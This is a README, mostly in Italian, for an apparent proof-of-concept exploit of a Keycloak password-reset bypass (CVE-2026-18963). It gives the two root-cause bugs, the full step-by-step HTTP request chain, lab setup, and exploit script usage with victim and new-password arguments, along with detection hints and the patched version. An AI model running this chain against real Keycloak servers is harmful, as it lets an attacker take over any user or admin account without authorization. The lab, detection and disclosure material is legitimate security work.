
Exploit proof-of-concept per CVE-2026-18963, un bypass critico del reset delle credenziali di Keycloak che consente l'acquisizione non autenticata di account. Include configurazione del laboratorio, indicazioni per il rilevamento e passaggi di bonifica per test autorizzati.
Account takeover non autenticato nel flusso reset-credentials di Keycloak. Un attaccante che conosce solo uno username/email può reimpostare la password di qualsiasi utente — inclusi gli admin — senza mai ricevere l'email di verifica.
Questa proof of concept è pubblicata esclusivamente a scopo educativo, ricerca difensiva, ingegneria delle rilevazioni (detection) e test di sicurezza autorizzati.
Vedi DISCLAIMER.md per la dichiarazione completa.
| CVE | CVE-2026-18963 |
| Gravità | Critica — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Debolezza | CWE-640 — Meccanismo di recupero password debole |
| Versioni vulnerabili | Keycloak < 26.7.2 (upstream). Anche i build stream RH corretti tramite i bundle 26.6.6 / 26.4.15 |
| Correttiva | Keycloak 26.7.2 (PR #51844) |
| Prerequisiti | Forgot password (reset credentials) abilitato per il realm — l'impostazione predefinita |
| Impatto | Account takeover completo di qualsiasi utente (inclusi gli admin del realm) → compromissione dell'IdP + accesso SSO laterale |
Il flusso di reset della password (reset-credentials) normalmente ti obbliga a cliccare un link
inviato via email al proprietario dell'account prima di poter impostare una nuova password. Due difetti consentono a un
attaccante di saltare del tutto questo controllo:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" senza limitarla
all'ID di esecuzione. Il rientro nel flusso lascia la sessione di autenticazione in uno
stato confuso/obsoleto.ResetCredentialEmail.action() chiama
context.success() senza verificare ACTION_TOKEN_USER_ID (cioè senza
confermare che il token di azione inviato via email sia stato effettivamente consumato).Concatenandoli, la sessione di autenticazione avanza direttamente al
passaggio UPDATE_PASSWORD per un utente arbitrario, senza bisogno di alcuna email.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
Vedi docs/ROOTCAUSE.md per il diff annotato della patch.
Servono Docker e Python 3 con requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Coda finale attesa:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
Poi accedi come victim / Pwned-2026! per confermare l'account takeover.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
Ogni risposta HTTP viene scritta in ./dump/ per l'ispezione.
Keycloak usa già la porta 8080, quindi imposta il listener di Burp su un'altra porta (es. 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
La sequenza di richieste raw per Burp Repeater si trova in
requests/burp-chain.txt.
Cerca un cambio password che non sia stato preceduto dalla verifica email nella stessa sessione di autenticazione:
UPDATE_PASSWORD senza un precedente VERIFY_EMAIL /
EXECUTE_ACTION_TOKEN per quella sessione.reset-credentials con tryAnotherWay=on.login-actions/reset-credentials per lo stesso tab_id.Un'esecuzione completa è registrata in CVE-2026-18963.mp4 (nella root del repository).
Catena di exploit confermata rispetto alla patch pubblica di Keycloak (PR #51844) e ai write-up della community.
MIT © red-darkin — solo per uso educativo e test autorizzati.